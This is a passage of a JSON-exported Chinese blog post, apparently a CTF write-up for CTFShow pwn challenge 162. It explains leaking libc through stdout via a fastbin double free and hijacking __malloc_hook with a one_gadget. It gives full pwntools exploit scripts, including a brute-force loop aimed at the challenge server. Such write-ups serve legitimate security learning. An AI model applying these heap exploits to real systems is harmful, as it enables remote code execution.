src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-798\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u6240\u4ee5\u7533\u8bf7\u7684\u987a\u5e8f\u4e3a\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code> add(0x20,b\"aaaa\",b\"aaaa\")  #0 \u7528\u4e8e\u6539\u5199main_arena+0x??\n add(0x40,b\"aaaa\",b\"aaaa\")  #1 \u7528\u4e8edouble free\n add(0x40,b\"aaaa\",b\"aaaa\")  #2 \u7528\u4e8edouble free\n add(0x7f,b\"aaaa\",b\"aaaa\")  #3 unsorted bin chunk\n add(0x20,b\"aaaa\",b\"aaaa\")  #4 \u907f\u514d\u5408\u5e76<\/code><\/pre>\n\n\n\n<p>\u53ef\u4ee5\u770b\u5230\uff0cdouble free\u540e\u6539\u5199fd\uff0c\u6210\u529f\u5f80fastbin\u94fe\u4e0a\u5199\u5165\u4e86stdout-0x43:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Q74@YXA727YVA0JIDV-1024x354.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"354\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/Q74@YXA727YVA0JIDV-1024x354.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-799\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u518d\u53d6\u56db\u6b21\u5c31\u80fd\u53d6\u5230\u76ee\u6807chunk\uff0c\u4f46\u662f\u53d6\u7b2c\u4e09\u4e2a\u7684\u65f6\u5019\u62a5\u9519\u4e86\uff0c\u53d1\u73b0\u662f\\x90\u5904\u7684size\u5927\u5c0f\u8ddffastbin\u4e2d\u7684\u5927\u5c0f\u4e0d\u4e00\u81f4\u5bfc\u81f4\u7684\uff0c\u628a\u4fee\u6539main_arena\u7684add(0x<strong>20<\/strong>,b&#8221;\\xdd\\x45&#8243;,b&#8221;aaaa&#8221;)\u6539\u6210add(0x<strong>40<\/strong>,b&#8221;\\xdd\\x45&#8243;,b&#8221;aaaa&#8221;)\u5373\u53ef\u4f7f\\x90\u5904\u5927\u5c0f\u4e0efastbin\u91cc\u5199\u7684\u4e00\u81f4\u3002<\/p>\n\n\n\n<p>\u6539\u5b8c\u540e\u53d6\u5230\u7b2c\u4e09\u4e2a\u4e0d\u62a5\u9519\u4e86\uff0c\u4f46\u662f\u7b2c\u56db\u4e2a\u53c8\u62a5\u9519\u4e86\uff0c\u7a81\u7136\u60f3\u8d77stdout-0x43\u5904\u7684fakechunk\u7684size\u662fx7f\uff0c\u800c\u81ea\u5df1\u7684fastbin\u94fe\u662f0x50\uff0c\u8ddf\u4e0a\u9762\u4e00\u6837\u53c8\u662ffastbin\u5927\u5c0f\u4e0d\u5339\u914d\u7684\u539f\u56e0\uff0c\u6240\u4ee5\u7528\u4e8edouble free\u7684chunk\u5fc5\u987b\u662f0x60\u52300x6f\u4e4b\u95f4\uff08\u52a0\u4e0achunk\u5934\u548c\u5bf9\u9f50\u5c31\u662f0x7f\uff09\u3002\u91cd\u65b0\u4fee\u6539exp,\u628adouble free\u7684chunk\u7edf\u4e00\u62100x60\uff0c\u6210\u529f\u7533\u8bf7\u5e76\u6539\u5199\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EO6K2KWBU_FIDODJ_2-1024x415.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"415\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/EO6K2KWBU_FIDODJ_2-1024x415.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-802\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/XK5VRZ_T46MWWBJ@9@YN8.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"647\" height=\"444\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/XK5VRZ_T46MWWBJ@9@YN8.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-803\"  sizes=\"auto, (max-width: 647px) 100vw, 647px\" \/><\/div><\/figure>\n\n\n\n<p>\u6539\u5199\u662f\u6539\u5199\u6210\u529f\u4e86\uff0c\u4f46\u662f\u5e76\u6ca1\u6709\u6cc4\u9732\u51fa\u6765\uff0c\u53d1\u73b0\u662f\u4f7f\u7528\u81ea\u5b9a\u4e49add\u51fd\u6570\u6765add chunk\u65f6\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5c31\u5df2\u7ecf\u5b8c\u6210\u4e86\u6539\u5199\u5e76\u6cc4\u9732\u4e86\u5730\u5740\uff0c\u4f46add\u51fd\u6570\u8fd8\u6709\u7b2c\u4e09\u4e2a\u53c2\u6570\u9700\u8981recvuntil\uff0c\u90a3\u5c31\u80af\u5b9a\u63a5\u53d7\u4e0d\u5230\u4e86\uff0c\u6240\u4ee5\u4e0d\u80fd\u7528add\u51fd\u6570\uff0c\u5f97\u624b\u5199\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/GSURPUKDW5M97F1@9YC-1024x393.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"393\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/GSURPUKDW5M97F1@9YC-1024x393.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-808\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<p>\u540e\u9762\u5c31\u662f\u5e38\u89c4\u8ba1\u7b97\u5730\u5740\u548cdouble free\u6253fastbin attack\u4e86\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/ZYA6Z3ZLD0R9UP34XUW-1024x425.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"425\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/ZYA6Z3ZLD0R9UP34XUW-1024x425.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-809\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u672c\u5730exp\uff08\u5173aslr\uff0c\u65e0\u7206\u7834\u7248\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level = 'info'\n\nio = process(\"\/home\/monke\/PWN\/CTFSHOW\/162\")\nelf = ELF(\"\/home\/monke\/PWN\/CTFSHOW\/162\")\nlibc = ELF(\"\/home\/monke\/Desktop\/glibc-all-in-one\/libs\/2.23-0ubuntu3_amd64\/libc-2.23.so\")\n\n\ndef add(size,name,message):\n\n    io.sendlineafter(\"choice : \",b'1')\n    io.sendlineafter(\"size of the daniu's name: \",str(size))\n    io.sendafter(\"name:\",name)\n    io.sendlineafter(\"message:\",message)\n    \n    \ndef free(index):\n    io.recvuntil(\"choice : \")\n    io.sendline(b'3')\n    io.recvuntil(\"index:\")\n    io.sendline(str(index))\n    \ndef pwn():\n   \n    add(0x20,b\"aaaa\",b\"aaaa\")  #0 \u7528\u4e8e\u6539\u5199main_arena+0x??\n    add(0x60,b\"aaaa\",b\"aaaa\")  #1 \u7528\u4e8edouble free\n    add(0x60,b\"aaaa\",b\"aaaa\")  #2 \u7528\u4e8edouble free\n    add(0x7f,b\"aaaa\",b\"aaaa\")  #3 unsorted bin chunk\n    add(0x20,b\"aaaa\",b\"aaaa\")  #4 \u907f\u514d\u5408\u5e76\n    \n    free(0)\n    free(3)\n   \n    add(0x60,b\"\\xdd\\x45\",b\"aaaa\") \n    #gdb.attach(io)\n    \n    #\u6ca1\u6709edit\uff0c\u7528\u4e0d\u4e86uaf\u53ea\u80fd\u7528double free\n    free(1)\n    free(2)\n    free(1)\n    #gdb.attach(io)\n    add(0x60,b\"\\xd0\",b\"\\xd0\")#write fd\n    \n    \n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n   \n    io.sendlineafter(\"choice : \",b'1')\n    io.sendlineafter(\"size of the daniu's name: \",str(0x60))\n    io.sendafter(b\"daniu's name:\",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\\x00')\n    #gdb.attach(io)\n    leak = u64(io.recvuntil(b\"\\x7f\")&#91;-6:].ljust(8,b\"\\x00\"))\n    print(hex(leak))\n    libc_base=leak-0x3c4600\n    og=libc_base+0x4525a\n    malloc_hook=libc_base+libc.sym&#91;\"__malloc_hook\"]\n    io.sendline(b'a')\n    #attack\n    \n    free(1)\n    free(2)\n    free(1)\n    #gdb.attach(io)\n    add(0x60,p64(malloc_hook-0x23),b\"aaaa\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b'a'*0x13+p64(og),b'a')\n    \n    free(0)\n    free(0)\n    io.interactive()\n    \npwn()\n<\/code><\/pre>\n\n\n\n<p>\u8fdc\u7a0bexp\uff08\u7206\u7834\uff09\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\n\ncontext.log_level = 'info'\n\ndef add(size,name,message):\n\n    io.sendlineafter(\"choice : \",b'1')\n    io.sendlineafter(\"size of the daniu's name: \",str(size))\n    io.sendafter(\"name:\",name)\n    io.sendlineafter(\"message:\",message)\n    \n    \ndef free(index):\n    io.recvuntil(\"choice : \")\n    io.sendline(b'3')\n    io.recvuntil(\"index:\")\n    io.sendline(str(index))\n    \ndef pwn():\n   \n    add(0x20,b\"aaaa\",b\"aaaa\")  #0 \u7528\u4e8e\u6539\u5199main_arena+0x??\n    add(0x60,b\"aaaa\",b\"aaaa\")  #1 \u7528\u4e8edouble free\n    add(0x60,b\"aaaa\",b\"aaaa\")  #2 \u7528\u4e8edouble free\n    add(0x7f,b\"aaaa\",b\"aaaa\")  #3 unsorted bin chunk\n    add(0x20,b\"aaaa\",b\"aaaa\")  #4 \u907f\u514d\u5408\u5e76\n    \n    free(0)\n    free(3)\n   \n    add(0x60,b\"\\xdd\\x45\",b\"aaaa\") \n    #gdb.attach(io)\n    \n    #\u6ca1\u6709edit\uff0c\u7528\u4e0d\u4e86uaf\u53ea\u80fd\u7528double free\n    free(1)\n    free(2)\n    free(1)\n    #gdb.attach(io)\n    add(0x60,b\"\\xd0\",b\"\\xd0\")#write fd\n    \n    \n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n   \n    io.sendlineafter(\"choice : \",b'1')\n    io.sendlineafter(\"size of the daniu's name: \",str(0x60))\n    io.sendafter(b\"daniu's name:\",b'A'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\\x00')\n    #gdb.attach(io)\n    leak = u64(io.recvuntil(b\"\\x7f\")&#91;-6:].ljust(8,b\"\\x00\"))\n    print(hex(leak))\n    libc_base=leak-0x3c5600\n    one = &#91;0x45216,0x4526a,0xf02a4,0xf1147]\n    og= libc_base+one&#91;2]\n    malloc_hook=libc_base+libc.sym&#91;\"__malloc_hook\"]\n    io.sendline(b'a')\n    #attack\n    \n    free(1)\n    free(2)\n    free(1)\n    #gdb.attach(io)\n    add(0x60,p64(malloc_hook-0x23),b\"aaaa\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b\"a\",b\"a\")\n    add(0x60,b'a'*0x13+p64(og),b'a')\n    \n    free(0)\n    free(0)\n    io.interactive()\n    \nif __name__=='__main__':\n    while True:\n        #io=process('\/home\/monke\/PWN\/CTFSHOW\/1\/162')\n        io = remote('pwn.challenge.ctf.show',28164)\n        elf = ELF(\"\/home\/monke\/PWN\/CTFSHOW\/1\/162\")\n        libc = ELF(\"\/home\/monke\/PWN\/buulibc\/libc-2.23-64.so\")\n        try:\n            pwn()\n        except:\n            io.close()\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/DPKLE1VU37@H3FU7W-1024x415.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"415\" data-original=\"http:\/\/n0ps1ed.top\/wp-content\/uploads\/2025\/01\/DPKLE1VU37@H3FU7W-1024x415.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-810\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u5229\u7528stdout\u6cc4\u9732libc \u539f\u7406 \u8fd9\u79cd\u6280\u5de7\u4e13\u95e8\u7528\u4e8e\u9898\u76ee\u6ca1\u6709show\u529f\u80fd\u7684\u60c5\u51b5\u4e0b\u6cc4\u9732libc\u57fa\u5730\u5740\u3002 \u539f\u7406\u53ef\u4ee5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[14,11],"class_list":["post-740","post","type-post","status-publish","format-standard","hentry","category-13","tag-pwn","tag-11"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/740","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=740"}],"version-history":[{"count":47,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/740\/revisions"}],"predecessor-version":[{"id":843,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/740\/revisions\/843"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=740"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=740"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=740"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}